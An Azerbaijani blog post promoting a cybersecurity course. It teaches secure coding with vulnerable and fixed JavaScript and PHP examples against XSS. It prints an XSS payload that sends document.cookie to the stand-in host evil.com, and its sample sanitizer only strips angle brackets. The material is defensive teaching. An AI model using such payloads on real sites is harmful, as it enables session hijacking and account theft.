Ağıllı Alqoritm və Güclü Coding: Kibertəhlükəsizlikdə Kodlaşdırmanın Real Rolu və Təhlükəli Səhvlər (2025)

Ağıllı Alqoritm və Güclü Coding

Kibertəhlükəsizlikdə Kodlaşdırmanın Real Gücü və Funksionallığı (2025)

Müasir kibertəhlükəsizlik artıq təkcə firewall və antivirusdan ibarət deyil.
Əsl müdafiə kodun içində, daha dəqiq desək alqoritmik düşüncədə başlayır.

Bugünkü real hücumların böyük hissəsi:

• zəif yazılmış kod
• yanlış alqoritmik qərarlar
• istifadəçi input-unun düzgün yoxlanmaması

nəticəsində baş verir.

Bu səbəbdən kibertəhlükəsizlik kursları, hacking dərsləri və
web təhlükəsizlik təlimləri coding üzərində qurulur.

---

Alqoritmik Düşüncə Nədir?

Alqoritmik düşüncə —
“Hacker bu kodu necə sındıra bilər?” sualını kod yazmazdan əvvəl verməkdir.

Bu düşüncə:

• hücumu əvvəlcədən proqnozlaşdırır
• riskləri azaldır
• sistemin davranışını nəzarətdə saxlayır

Kod yazmaq olar.
Təhlükəsiz kod yazmaq isə alqoritmdir.

---

Güclü Coding Kibertəhlükəsizlikdə Nə Verir?

Güclü coding:

• istifadəçiyə kor-koranə etibar etmir
• input və output-u ayırır
• hücum ssenarilərini nəzərə alır
• avtomat hücumları bloklayır

Zəif coding aşağıdakı riskləri yaradır:

• Cross-Site Scripting (XSS)
• SQL Injection
• Remote Code Execution (RCE)
• Account Takeover

Bu mövzular web hacking dərslərində əsas praktik mövzulardandır.

---

JavaScript-də Real Təhlükə: XSS Hücumu

❌ Zəif JavaScript Kodu (XSS-a Açıq)

const userInput = location.search.split("q=")[1];
document.getElementById("result").innerHTML = userInput;

Niyə təhlükəlidir?

• innerHTML istifadə olunur
• input filtr edilmir
• istifadəçi JavaScript inject edə bilir

Hacker payload:

?q=<script>alert('Hacked')</script>

Nəticə:

• JavaScript icra olunur
• cookie oğurluğu mümkündür
• session hijacking baş verir

Bu klassik Reflected XSS nümunəsidir.

✅ Təhlükəsiz JavaScript Yanaşması

const userInput = location.search.split("q=")[1];
document.getElementById("result").textContent = userInput;

və ya:

function sanitize(input) {
  return input.replace(/[<>]/g, "");
}

Bu sadə dəyişiklik alqoritmik düzgün qərardır.

---

PHP-də Təhlükəli Coding Səhvi

❌ Zəif PHP Kodu

<?php
$name = $_GET['name'];
echo "Salam " . $name;
?>

Risklər:

• XSS hücumu
• HTML injection
• JavaScript icrası

Hacker payload:

?name=<script>fetch('https://evil.com?c='+document.cookie)</script>

✅ Təhlükəsiz PHP Kodu (Secure Coding)

<?php
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
echo "Salam " . $name;
?>

Bu kod:

• XSS-in qarşısını alır
• output-u escape edir
• sistem təhlükəsizliyini artırır

---

Alqoritm Olmadan Kod Yazmağın Riski

Əgər developer bu sualları vermirsə, sistem risk altındadır:

• Input haradan gəlir?
• Hacker bunu necə dəyişə bilər?
• Bu funksiya avtomatik hücuma açıqdırmı?
• Rate limit varmı?

Bu suallar kiber dərslər zamanı refleks halına gətirilir.

---

Real Hücum Ssenarisi

Arxitektura:

• JavaScript frontend
• PHP backend
• Login sistemi

Səhvlər:

• input validation yoxdur
• session düzgün qorunmur

Nəticə:

• Stored XSS
• Admin account takeover
• Tam sistem kompromisi

Bu ssenarilər penetration testing dərslərində real lab üzərində öyrədilir.

---

Secure Coding-in Qızıl Qaydaları

• Heç vaxt istifadəçiyə etibar etmə
• Input → validate et
• Output → escape et
• innerHTML-dən uzaq dur
• Server-side yoxlamanı unutma
• Error mesajlarını gizlət
• Alqoritmik düşün

---

Niyə Kiber Kurslarında Coding Şərtdir?

Çünki:

• Hacker kod oxuyur
• Defender kod yazır
• Tool yalnız köməkçidir

Kibertəhlükəsizlik dərsləri coding olmadan yarımçıqdır.

---

Kimlər Üçün Vacibdir?

• Web developer-lər
• JavaScript və PHP proqramçıları
• Ethical hacking öyrənənlər
• Kibertəhlükəsizlik üzrə karyera istəyənlər

---

Nəticə

Ağıllı alqoritm + güclü coding = real kibertəhlükəsizlik

Kod:

• səni qoruya da bilər
• səni sındıra da bilər

Seçim — alqoritmik düşünəndədir.

---

📞 Praktiki Secure Coding və Kiber Təlimlər

📲 WhatsApp ilə əlaqə — real təlimlər və şəxsi mentorluq. CyberShieldy
Kibertəhlükəsizlik Dərsləri • Hacking Dərsləri • Hacker Kurslar • Web Təhlükəsizlik • Real Hücum Ssenariləri

---

📚 Oxşar Yazılar

• İki faktorlu identifikasiya nədir və niyə vacibdir?
• Kibertəhlükəsizlikdə Red Team vs Blue Team fərqləri

İstəsən növbəti mərhələdə:

• 🔥 SQL Injection (PHP PDO)
• 🔥 CSRF real hücum + müdafiə
• 🔥 JWT auth səhvləri
• 🔥 Tam secure login alqoritmi (front + back)

De hansını yazım, kurs səviyyəsində davam edək 🛡️💻

🎓 PULSUZ Sınaq Dərs
CyberShieldy kiber kurslarına qoşul